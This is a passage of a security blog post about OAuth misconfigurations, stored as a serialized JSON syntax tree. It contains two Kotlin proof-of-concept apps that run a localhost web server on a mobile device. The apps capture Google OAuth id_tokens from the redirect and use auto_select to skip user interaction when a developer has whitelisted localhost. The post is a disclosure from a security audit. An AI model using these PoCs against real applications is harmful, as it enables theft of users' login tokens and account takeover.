configuration:",{"type":24,"tag":478,"props":102996,"children":102997},{},[102998,103002,103023,103027],{"type":24,"tag":100,"props":102999,"children":103000},{},[103001],{"type":30,"value":102924},{"type":24,"tag":100,"props":103003,"children":103004},{},[103005,103006,103011,103012,103017,103018],{"type":30,"value":102929},{"type":24,"tag":37,"props":103007,"children":103009},{"href":102932,"rel":103008},[41],[103010],{"type":30,"value":102932},{"type":30,"value":102937},{"type":24,"tag":156,"props":103013,"children":103015},{"className":103014},[],[103016],{"type":30,"value":72682},{"type":30,"value":211},{"type":24,"tag":156,"props":103019,"children":103021},{"className":103020},[],[103022],{"type":30,"value":72850},{"type":24,"tag":100,"props":103024,"children":103025},{},[103026],{"type":30,"value":102953},{"type":24,"tag":100,"props":103028,"children":103029},{},[103030,103031,103036,103038],{"type":30,"value":102958},{"type":24,"tag":156,"props":103032,"children":103034},{"className":103033},[],[103035],{"type":30,"value":72850},{"type":30,"value":103037}," with the token in the query parameters or ",{"type":24,"tag":156,"props":103039,"children":103041},{"className":103040},[],[103042],{"type":30,"value":103043},"location.hash",{"type":24,"tag":21995,"props":103045,"children":103047},{"id":103046},"different-configurations",[103048],{"type":30,"value":103049},"Different Configurations",{"type":24,"tag":33,"props":103051,"children":103052},{},[103053],{"type":30,"value":103054},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":24,"tag":96,"props":103056,"children":103057},{},[103058,103063],{"type":24,"tag":100,"props":103059,"children":103060},{},[103061],{"type":30,"value":103062},"Authorized origins",{"type":24,"tag":100,"props":103064,"children":103065},{},[103066],{"type":30,"value":103067},"Authorized redirect URIs",{"type":24,"tag":33,"props":103069,"children":103070},{},[103071],{"type":24,"tag":140,"props":103072,"children":103074},{"alt":142,"src":103073},"/posts/oauth-misconfigurations/image3.png",[],{"type":24,"tag":33,"props":103076,"children":103077},{},[103078,103080,103085],{"type":30,"value":103079},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":24,"tag":156,"props":103081,"children":103083},{"className":103082},[],[103084],{"type":30,"value":72682},{"type":30,"value":436},{"type":24,"tag":33,"props":103087,"children":103088},{},[103089,103091,103097,103099,103104],{"type":30,"value":103090},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":24,"tag":156,"props":103092,"children":103094},{"className":103093},[],[103095],{"type":30,"value":103096},"/oauth2/v2/auth",{"type":30,"value":103098}," by checking the ",{"type":24,"tag":156,"props":103100,"children":103102},{"className":103101},[],[103103],{"type":30,"value":43223},{"type":30,"value":103105}," query parameter.",{"type":24,"tag":33,"props":103107,"children":103108},{},[103109,103111,103116,103118,103123],{"type":30,"value":103110},"In the old flow, the ",{"type":24,"tag":156,"props":103112,"children":103114},{"className":103113},[],[103115],{"type":30,"value":72850},{"type":30,"value":103117}," parameter passed in the ",{"type":24,"tag":156,"props":103119,"children":103121},{"className":103120},[],[103122],{"type":30,"value":103096},{"type":30,"value":103124}," endpoint is validated against the authorized redirect URIs.",{"type":24,"tag":33,"props":103126,"children":103127},{},[103128,103130,103135,103137,103144],{"type":30,"value":103129},"Note that the new GSI flow can also have a different flow using ",{"type":24,"tag":156,"props":103131,"children":103133},{"className":103132},[],[103134],{"type":30,"value":72850},{"type":30,"value":103136}," validation. To execute this flow, you need to specify ",{"type":24,"tag":37,"props":103138,"children":103141},{"href":103139,"rel":103140},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[41],[103142],{"type":30,"value":103143},"login_uri",{"type":30,"value":103145}," while using the SDK.",{"type":24,"tag":151,"props":103147,"children":103149},{"id":103148},"localhost-exploit",[103150],{"type":30,"value":103151},"Localhost Exploit",{"type":24,"tag":33,"props":103153,"children":103154},{},[103155,103157,103163],{"type":30,"value":103156},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":24,"tag":156,"props":103158,"children":103160},{"className":103159},[],[103161],{"type":30,"value":103162},"localhost",{"type":30,"value":103164}," origin because it is considered trusted for local testing.",{"type":24,"tag":33,"props":103166,"children":103167},{},[103168],{"type":30,"value":103169},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":24,"tag":21995,"props":103171,"children":103173},{"id":103172},"exploit",[103174],{"type":30,"value":103175},"Exploit",{"type":24,"tag":33,"props":103177,"children":103178},{},[103179,103181,103186,103187,103193],{"type":30,"value":103180},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":24,"tag":156,"props":103182,"children":103184},{"className":103183},[],[103185],{"type":30,"value":103043},{"type":30,"value":16241},{"type":24,"tag":156,"props":103188,"children":103190},{"className":103189},[],[103191],{"type":30,"value":103192},"location.search",{"type":30,"value":103194},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":24,"tag":920,"props":103196,"children":103200},{"className":103197,"code":103198,"language":103199,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[103201],{"type":24,"tag":156,"props":103202,"children":103203},{"__ignoreMap":7},[103204,103233,103252,103259,103266,103285,103296,103307,103338,103361,103408,103415,103422,103429,103436,103456,103487,103498,103505,103512,103531,103554,103565,103584,103599,103610,103633,103668,103687,103694,103705,103728,103739,103751,103758,103765,103772,103779,103786,103813],{"type":24,"tag":930,"props":103205,"children":103206},{"class":932,"line":933},[103207,103212,103216,103220,103224,103228],{"type":24,"tag":930,"props":103208,"children":103209},{"style":937},[103210],{"type":30,"value":103211}," override",{"type":24,"tag":930,"props":103213,"children":103214},{"style":937},[103215],{"type":30,"value":9320},{"type":24,"tag":930,"props":103217,"children":103218},{"style":1002},[103219],{"type":30,"value":73538},{"type":24,"tag":930,"props":103221,"children":103222},{"style":959},[103223],{"type":30,"value":73543},{"type":24,"tag":930,"props":103225,"children":103226},{"style":943},[103227],{"type":30,"value":73548},{"type":24,"tag":930,"props":103229,"children":103230},{"style":959},[103231],{"type":30,"value":103232},"?){\n",{"type":24,"tag":930,"props":103234,"children":103235},{"class":932,"line":984},[103236,103240,103244,103248],{"type":24,"tag":930,"props":103237,"children":103238},{"style":937},[103239],{"type":30,"value":73561},{"type":24,"tag":930,"props":103241,"children":103242},{"style":959},[103243],{"type":30,"value":436},{"type":24,"tag":930,"props":103245,"children":103246},{"style":1002},[103247],{"type":30,"value":73570},{"type":24,"tag":930,"props":103249,"children":103250},{"style":959},[103251],{"type":30,"value":73575},{"type":24,"tag":930,"props":103253,"children":103254},{"class":932,"line":993},[103255],{"type":24,"tag":930,"props":103256,"children":103257},{"emptyLinePlaceholder":16},[103258],{"type":30,"value":2412},{"type":24,"tag":930,"props":103260,"children":103261},{"class":932,"line":1057},[103262],{"type":24,"tag":930,"props":103263,"children":103264},{"style":1422},[103265],{"type":30,"value":73590},{"type":24,"tag":930,"props":103267,"children":103268},{"class":932,"line":1066},[103269,103273,103277,103281],{"type":24,"tag":930,"props":103270,"children":103271},{"style":1002},[103272],{"type":30,"value":73598},{"type":24,"tag":930,"props":103274,"children":103275},{"style":959},[103276],{"type":30,"value":73603},{"type":24,"tag":930,"props":103278,"children":103279},{"style":1002},[103280],{"type":30,"value":73608},{"type":24,"tag":930,"props":103282,"children":103283},{"style":959},[103284],{"type":30,"value":981},{"type":24,"tag":930,"props":103286,"children":103287},{"class":932,"line":1075},[103288,103292],{"type":24,"tag":930,"props":103289,"children":103290},{"style":1079},[103291],{"type":30,"value":73620},{"type":24,"tag":930,"props":103293,"children":103294},{"style":959},[103295],{"type":30,"value":981},{"type":24,"tag":930,"props":103297,"children":103298},{"class":932,"line":1122},[103299,103303],{"type":24,"tag":930,"props":103300,"children":103301},{"style":1002},[103302],{"type":30,"value":73632},{"type":24,"tag":930,"props":103304,"children":103305},{"style":959},[103306],{"type":30,"value":10846},{"type":24,"tag":930,"props":103308,"children":103309},{"class":932,"line":1131},[103310,103314,103318,103322,103326,103330,103334],{"type":24,"tag":930,"props":103311,"children":103312},{"style":959},[103313],{"type":30,"value":73644},{"type":24,"tag":930,"props":103315,"children":103316},{"style":1002},[103317],{"type":30,"value":73649},{"type":24,"tag":930,"props":103319,"children":103320},{"style":959},[103321],{"type":30,"value":1010},{"type":24,"tag":930,"props":103323,"children":103324},{"style":1270},[103325],{"type":30,"value":73658},{"type":24,"tag":930,"props":103327,"children":103328},{"style":959},[103329],{"type":30,"value":962},{"type":24,"tag":930,"props":103331,"children":103332},{"style":1270},[103333],{"type":30,"value":73667},{"type":24,"tag":930,"props":103335,"children":103336},{"style":959},[103337],{"type":30,"value":1054},{"type":24,"tag":930,"props":103339,"children":103340},{"class":932,"line":1144},[103341,103345,103349,103353,103357],{"type":24,"tag":930,"props":103342,"children":103343},{"style":959},[103344],{"type":30,"value":2312},{"type":24,"tag":930,"props":103346,"children":103347},{"style":937},[103348],{"type":30,"value":4760},{"type":24,"tag":930,"props":103350,"children":103351},{"style":959},[103352],{"type":30,"value":73687},{"type":24,"tag":930,"props":103354,"children":103355},{"style":943},[103356],{"type":30,"value":73692},{"type":24,"tag":930,"props":103358,"children":103359},{"style":959},[103360],{"type":30,"value":1503},{"type":24,"tag":930,"props":103362,"children":103363},{"class":932,"line":1169},[103364,103368,103372,103376,103380,103384,103388,103392,103396,103400,103404],{"type":24,"tag":930,"props":103365,"children":103366},{"style":959},[103367],{"type":30,"value":73644},{"type":24,"tag":930,"props":103369,"children":103370},{"style":1002},[103371],{"type":30,"value":54543},{"type":24,"tag":930,"props":103373,"children":103374},{"style":959},[103375],{"type":30,"value":1010},{"type":24,"tag":930,"props":103377,"children":103378},{"style":1270},[103379],{"type":30,"value":73658},{"type":24,"tag":930,"props":103381,"children":103382},{"style":959},[103383],{"type":30,"value":962},{"type":24,"tag":930,"props":103385,"children":103386},{"style":1270},[103387],{"type":30,"value":73724},{"type":24,"tag":930,"props":103389,"children":103390},{"style":937},[103391],{"type":30,"value":37197},{"type":24,"tag":930,"props":103393,"children":103394},{"style":1158},[103395],{"type":30,"value":73733},{"type":24,"tag":930,"props":103397,"children":103398},{"style":937},[103399],{"type":30,"value":37229},{"type":24,"tag":930,"props":103401,"children":103402},{"style":1270},[103403],{"type":30,"value":23163},{"type":24,"tag":930,"props":103405,"children":103406},{"style":959},[103407],{"type":30,"value":73746},{"type":24,"tag":930,"props":103409,"children":103410},{"class":932,"line":1191},[103411],{"type":24,"tag":930,"props":103412,"children":103413},{"style":959},[103414],{"type":30,"value":1643},{"type":24,"tag":930,"props":103416,"children":103417},{"class":932,"line":1223},[103418],{"type":24,"tag":930,"props":103419,"children":103420},{"style":959},[103421],{"type":30,"value":1831},{"type":24,"tag":930,"props":103423,"children":103424},{"class":932,"line":1281},[103425],{"type":24,"tag":930,"props":103426,"children":103427},{"emptyLinePlaceholder":16},[103428],{"type":30,"value":2412},{"type":24,"tag":930,"props":103430,"children":103431},{"class":932,"line":1313},[103432],{"type":24,"tag":930,"props":103433,"children":103434},{"style":1422},[103435],{"type":30,"value":73775},{"type":24,"tag":930,"props":103437,"children":103438},{"class":932,"line":1335},[103439,103443,103447,103451],{"type":24,"tag":930,"props":103440,"children":103441},{"style":937},[103442],{"type":30,"value":73783},{"type":24,"tag":930,"props":103444,"children":103445},{"style":959},[103446],{"type":30,"value":73788},{"type":24,"tag":930,"props":103448,"children":103449},{"style":1158},[103450],{"type":30,"value":1161},{"type":24,"tag":930,"props":103452,"children":103453},{"style":1270},[103454],{"type":30,"value":103455}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":24,"tag":930,"props":103457,"children":103458},{"class":932,"line":1376},[103459,103463,103467,103471,103475,103479,103483],{"type":24,"tag":930,"props":103460,"children":103461},{"style":937},[103462],{"type":30,"value":73783},{"type":24,"tag":930,"props":103464,"children":103465},{"style":959},[103466],{"type":30,"value":73809},{"type":24,"tag":930,"props":103468,"children":103469},{"style":1158},[103470],{"type":30,"value":1161},{"type":24,"tag":930,"props":103472,"children":103473},{"style":1002},[103474],{"type":30,"value":73818},{"type":24,"tag":930,"props":103476,"children":103477},{"style":959},[103478],{"type":30,"value":73823},{"type":24,"tag":930,"props":103480,"children":103481},{"style":1002},[103482],{"type":30,"value":42299},{"type":24,"tag":930,"props":103484,"children":103485},{"style":959},[103486],{"type":30,"value":73832},{"type":24,"tag":930,"props":103488,"children":103489},{"class":932,"line":1418},[103490,103494],{"type":24,"tag":930,"props":103491,"children":103492},{"style":1002},[103493],{"type":30,"value":73840},{"type":24,"tag":930,"props":103495,"children":103496},{"style":959},[103497],{"type":30,"value":73845},{"type":24,"tag":930,"props":103499,"children":103500},{"class":932,"line":1438},[103501],{"type":24,"tag":930,"props":103502,"children":103503},{"style":959},[103504],{"type":30,"value":1840},{"type":24,"tag":930,"props":103506,"children":103507},{"class":932,"line":1479},[103508],{"type":24,"tag":930,"props":103509,"children":103510},{"emptyLinePlaceholder":16},[103511],{"type":30,"value":2412},{"type":24,"tag":930,"props":103513,"children":103514},{"class":932,"line":1506},[103515,103519,103523,103527],{"type":24,"tag":930,"props":103516,"children":103517},{"style":937},[103518],{"type":30,"value":73867},{"type":24,"tag":930,"props":103520,"children":103521},{"style":937},[103522],{"type":30,"value":9320},{"type":24,"tag":930,"props":103524,"children":103525},{"style":1002},[103526],{"type":30,"value":73876},{"type":24,"tag":930,"props":103528,"children":103529},{"style":959},[103530],{"type":30,"value":18839},{"type":24,"tag":930,"props":103532,"children":103533},{"class":932,"line":1525},[103534,103538,103542,103546,103550],{"type":24,"tag":930,"props":103535,"children":103536},{"style":1002},[103537],{"type":30,"value":73888},{"type":24,"tag":930,"props":103539,"children":103540},{"style":959},[103541],{"type":30,"value":73893},{"type":24,"tag":930,"props":103543,"children":103544},{"style":1158},[103545],{"type":30,"value":1161},{"type":24,"tag":930,"props":103547,"children":103548},{"style":1242},[103549],{"type":30,"value":73902},{"type":24,"tag":930,"props":103551,"children":103552},{"style":959},[103553],{"type":30,"value":1503},{"type":24,"tag":930,"props":103555,"children":103556},{"class":932,"line":1569},[103557,103561],{"type":24,"tag":930,"props":103558,"children":103559},{"style":1002},[103560],{"type":30,"value":73914},{"type":24,"tag":930,"props":103562,"children":103563},{"style":959},[103564],{"type":30,"value":981},{"type":24,"tag":930,"props":103566,"children":103567},{"class":932,"line":1592},[103568,103572,103576,103580],{"type":24,"tag":930,"props":103569,"children":103570},{"style":937},[103571],{"type":30,"value":73926},{"type":24,"tag":930,"props":103573,"children":103574},{"style":959},[103575],{"type":30,"value":1010},{"type":24,"tag":930,"props":103577,"children":103578},{"style":1270},[103579],{"type":30,"value":73935},{"type":24,"tag":930,"props":103581,"children":103582},{"style":959},[103583],{"type":30,"value":1503},{"type":24,"tag":930,"props":103585,"children":103586},{"class":932,"line":1610},[103587,103591,103595],{"type":24,"tag":930,"props":103588,"children":103589},{"style":959},[103590],{"type":30,"value":73947},{"type":24,"tag":930,"props":103592,"children":103593},{"style":1002},[103594],{"type":30,"value":73952},{"type":24,"tag":930,"props":103596,"children":103597},{"style":959},[103598],{"type":30,"value":981},{"type":24,"tag":930,"props":103600,"children":103601},{"class":932,"line":1628},[103602,103606],{"type":24,"tag":930,"props":103603,"children":103604},{"style":1002},[103605],{"type":30,"value":73964},{"type":24,"tag":930,"props":103607,"children":103608},{"style":959},[103609],{"type":30,"value":981},{"type":24,"tag":930,"props":103611,"children":103612},{"class":932,"line":1637},[103613,103617,103621,103625,103629],{"type":24,"tag":930,"props":103614,"children":103615},{"style":1002},[103616],{"type":30,"value":73976},{"type":24,"tag":930,"props":103618,"children":103619},{"style":959},[103620],{"type":30,"value":73981},{"type":24,"tag":930,"props":103622,"children":103623},{"style":1158},[103624],{"type":30,"value":1161},{"type":24,"tag":930,"props":103626,"children":103627},{"style":1270},[103628],{"type":30,"value":73990},{"type":24,"tag":930,"props":103630,"children":103631},{"style":959},[103632],{"type":30,"value":1054},{"type":24,"tag":930,"props":103634,"children":103635},{"class":932,"line":1646},[103636,103640,103644,103648,103652,103656,103660,103664],{"type":24,"tag":930,"props":103637,"children":103638},{"style":1002},[103639],{"type":30,"value":73976},{"type":24,"tag":930,"props":103641,"children":103642},{"style":959},[103643],{"type":30,"value":74006},{"type":24,"tag":930,"props":103645,"children":103646},{"style":1158},[103647],{"type":30,"value":1161},{"type":24,"tag":930,"props":103649,"children":103650},{"style":1270},[103651],{"type":30,"value":74015},{"type":24,"tag":930,"props":103653,"children":103654},{"style":959},[103655],{"type":30,"value":74020},{"type":24,"tag":930,"props":103657,"children":103658},{"style":1158},[103659],{"type":30,"value":1161},{"type":24,"tag":930,"props":103661,"children":103662},{"style":1270},[103663],{"type":30,"value":74029},{"type":24,"tag":930,"props":103665,"children":103666},{"style":959},[103667],{"type":30,"value":1054},{"type":24,"tag":930,"props":103669,"children":103670},{"class":932,"line":1673},[103671,103675,103679,103683],{"type":24,"tag":930,"props":103672,"children":103673},{"style":1002},[103674],{"type":30,"value":74041},{"type":24,"tag":930,"props":103676,"children":103677},{"style":959},[103678],{"type":30,"value":1010},{"type":24,"tag":930,"props":103680,"children":103681},{"style":1270},[103682],{"type":30,"value":74050},{"type":24,"tag":930,"props":103684,"children":103685},{"style":959},[103686],{"type":30,"value":1054},{"type":24,"tag":930,"props":103688,"children":103689},{"class":932,"line":1692},[103690],{"type":24,"tag":930,"props":103691,"children":103692},{"style":959},[103693],{"type":30,"value":4823},{"type":24,"tag":930,"props":103695,"children":103696},{"class":932,"line":1730},[103697,103701],{"type":24,"tag":930,"props":103698,"children":103699},{"style":1002},[103700],{"type":30,"value":74069},{"type":24,"tag":930,"props":103702,"children":103703},{"style":959},[103704],{"type":30,"value":981},{"type":24,"tag":930,"props":103706,"children":103707},{"class":932,"line":1762},[103708,103712,103716,103720,103724],{"type":24,"tag":930,"props":103709,"children":103710},{"style":1002},[103711],{"type":30,"value":74081},{"type":24,"tag":930,"props":103713,"children":103714},{"style":959},[103715],{"type":30,"value":12694},{"type":24,"tag":930,"props":103717,"children":103718},{"style":1158},[103719],{"type":30,"value":1400},{"type":24,"tag":930,"props":103721,"children":103722},{"style":1270},[103723],{"type":30,"value":74094},{"type":24,"tag":930,"props":103725,"children":103726},{"style":959},[103727],{"type":30,"value":12704},{"type":24,"tag":930,"props":103729,"children":103730},{"class":932,"line":1775},[103731,103735],{"type":24,"tag":930,"props":103732,"children":103733},{"style":1002},[103734],{"type":30,"value":74106},{"type":24,"tag":930,"props":103736,"children":103737},{"style":959},[103738],{"type":30,"value":981},{"type":24,"tag":930,"props":103740,"children":103741},{"class":932,"line":1825},[103742,103746],{"type":24,"tag":930,"props":103743,"children":103744},{"style":1158},[103745],{"type":30,"value":74118},{"type":24,"tag":930,"props":103747,"children":103748},{"style":1270},[103749],{"type":30,"value":103750},"\"document.body.innerText = location.hash;\"\n",{"type":24,"tag":930,"props":103752,"children":103753},{"class":932,"line":1834},[103754],{"type":24,"tag":930,"props":103755,"children":103756},{"style":959},[103757],{"type":30,"value":74131},{"type":24,"tag":930,"props":103759,"children":103760},{"class":932,"line":1843},[103761],{"type":24,"tag":930,"props":103762,"children":103763},{"style":959},[103764],{"type":30,"value":4823},{"type":24,"tag":930,"props":103766,"children":103767},{"class":932,"line":1851},[103768],{"type":24,"tag":930,"props":103769,"children":103770},{"style":959},[103771],{"type":30,"value":4831},{"type":24,"tag":930,"props":103773,"children":103774},{"class":932,"line":1919},[103775],{"type":24,"tag":930,"props":103776,"children":103777},{"style":959},[103778],{"type":30,"value":1634},{"type":24,"tag":930,"props":103780,"children":103781},{"class":932,"line":1927},[103782],{"type":24,"tag":930,"props":103783,"children":103784},{"style":959},[103785],{"type":30,"value":1643},{"type":24,"tag":930,"props":103787,"children":103788},{"class":932,"line":1935},[103789,103793,103797,103801,103805,103809],{"type":24,"tag":930,"props":103790,"children":103791},{"style":959},[103792],{"type":30,"value":74167},{"type":24,"tag":930,"props":103794,"children":103795},{"style":1002},[103796],{"type":30,"value":74172},{"type":24,"tag":930,"props":103798,"children":103799},{"style":959},[103800],{"type":30,"value":74177},{"type":24,"tag":930,"props":103802,"children":103803},{"style":1158},[103804],{"type":30,"value":1161},{"type":24,"tag":930,"props":103806,"children":103807},{"style":937},[103808],{"type":30,"value":15576},{"type":24,"tag":930,"props":103810,"children":103811},{"style":959},[103812],{"type":30,"value":1054},{"type":24,"tag":930,"props":103814,"children":103815},{"class":932,"line":1943},[103816],{"type":24,"tag":930,"props":103817,"children":103818},{"style":959},[103819],{"type":30,"value":1840},{"type":24,"tag":33,"props":103821,"children":103822},{},[103823],{"type":30,"value":103824},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":24,"tag":33,"props":103826,"children":103827},{},[103828,103830,103836],{"type":30,"value":103829},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":24,"tag":156,"props":103831,"children":103833},{"className":103832},[],[103834],{"type":30,"value":103835},"auto_select",{"type":30,"value":103837}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":24,"tag":920,"props":103839,"children":103841},{"className":103197,"code":103840,"language":103199,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[103842],{"type":24,"tag":156,"props":103843,"children":103844},{"__ignoreMap":7},[103845,103872,103891,103898,103917,103928,103939,103970,103993,104040,104047,104054,104061,104101,104112,104119,104126,104145,104168,104179,104198,104213,104224,104244,104255,104272,104298,104322,104329,104340,104352,104365,104373,104381,104388,104395,104403,104411,104419,104427,104435,104443,104451,104458,104465,104473,104481,104489,104496,104503,104511,104518,104539,104547,104554,104561,104572,104596,104608,104625,104632,104639,104646,104653,104660,104687],{"type":24,"tag":930,"props":103846,"children":103847},{"class":932,"line":933},[103848,103852,103856,103860,103864,103868],{"type":24,"tag":930,"props":103849,"children":103850},{"style":937},[103851],{"type":30,"value":73529},{"type":24,"tag":930,"props":103853,"children":103854},{"style":937},[103855],{"type":30,"value":9320},{"type":24,"tag":930,"props":103857,"children":103858},{"style":1002},[103859],{"type":30,"value":73538},{"type":24,"tag":930,"props":103861,"children":103862},{"style":959},[103863],{"type":30,"value":73543},{"type":24,"tag":930,"props":103865,"children":103866},{"style":943},[103867],{"type":30,"value":73548},{"type":24,"tag":930,"props":103869,"children":103870},{"style":959},[103871],{"type":30,"value":73553},{"type":24,"tag":930,"props":103873,"children":103874},{"class":932,"line":984},[103875,103879,103883,103887],{"type":24,"tag":930,"props":103876,"children":103877},{"style":937},[103878],{"type":30,"value":73561},{"type":24,"tag":930,"props":103880,"children":103881},{"style":959},[103882],{"type":30,"value":436},{"type":24,"tag":930,"props":103884,"children":103885},{"style":1002},[103886],{"type":30,"value":73570},{"type":24,"tag":930,"props":103888,"children":103889},{"style":959},[103890],{"type":30,"value":73575},{"type":24,"tag":930,"props":103892,"children":103893},{"class":932,"line":993},[103894],{"type":24,"tag":930,"props":103895,"children":103896},{"emptyLinePlaceholder":16},[103897],{"type":30,"value":2412},{"type":24,"tag":930,"props":103899,"children":103900},{"class":932,"line":1057},[103901,103905,103909,103913],{"type":24,"tag":930,"props":103902,"children":103903},{"style":1002},[103904],{"type":30,"value":73598},{"type":24,"tag":930,"props":103906,"children":103907},{"style":959},[103908],{"type":30,"value":73603},{"type":24,"tag":930,"props":103910,"children":103911},{"style":1002},[103912],{"type":30,"value":73608},{"type":24,"tag":930,"props":103914,"children":103915},{"style":959},[103916],{"type":30,"value":981},{"type":24,"tag":930,"props":103918,"children":103919},{"class":932,"line":1066},[103920,103924],{"type":24,"tag":930,"props":103921,"children":103922},{"style":1079},[103923],{"type":30,"value":73620},{"type":24,"tag":930,"props":103925,"children":103926},{"style":959},[103927],{"type":30,"value":981},{"type":24,"tag":930,"props":103929,"children":103930},{"class":932,"line":1075},[103931,103935],{"type":24,"tag":930,"props":103932,"children":103933},{"style":1002},[103934],{"type":30,"value":73632},{"type":24,"tag":930,"props":103936,"children":103937},{"style":959},[103938],{"type":30,"value":10846},{"type":24,"tag":930,"props":103940,"children":103941},{"class":932,"line":1122},[103942,103946,103950,103954,103958,103962,103966],{"type":24,"tag":930,"props":103943,"children":103944},{"style":959},[103945],{"type":30,"value":73644},{"type":24,"tag":930,"props":103947,"children":103948},{"style":1002},[103949],{"type":30,"value":73649},{"type":24,"tag":930,"props":103951,"children":103952},{"style":959},[103953],{"type":30,"value":1010},{"type":24,"tag":930,"props":103955,"children":103956},{"style":1270},[103957],{"type":30,"value":73658},{"type":24,"tag":930,"props":103959,"children":103960},{"style":959},[103961],{"type":30,"value":962},{"type":24,"tag":930,"props":103963,"children":103964},{"style":1270},[103965],{"type":30,"value":73667},{"type":24,"tag":930,"props":103967,"children":103968},{"style":959},[103969],{"type":30,"value":1054},{"type":24,"tag":930,"props":103971,"children":103972},{"class":932,"line":1131},[103973,103977,103981,103985,103989],{"type":24,"tag":930,"props":103974,"children":103975},{"style":959},[103976],{"type":30,"value":2312},{"type":24,"tag":930,"props":103978,"children":103979},{"style":937},[103980],{"type":30,"value":4760},{"type":24,"tag":930,"props":103982,"children":103983},{"style":959},[103984],{"type":30,"value":73687},{"type":24,"tag":930,"props":103986,"children":103987},{"style":943},[103988],{"type":30,"value":73692},{"type":24,"tag":930,"props":103990,"children":103991},{"style":959},[103992],{"type":30,"value":1503},{"type":24,"tag":930,"props":103994,"children":103995},{"class":932,"line":1144},[103996,104000,104004,104008,104012,104016,104020,104024,104028,104032,104036],{"type":24,"tag":930,"props":103997,"children":103998},{"style":959},[103999],{"type":30,"value":73644},{"type":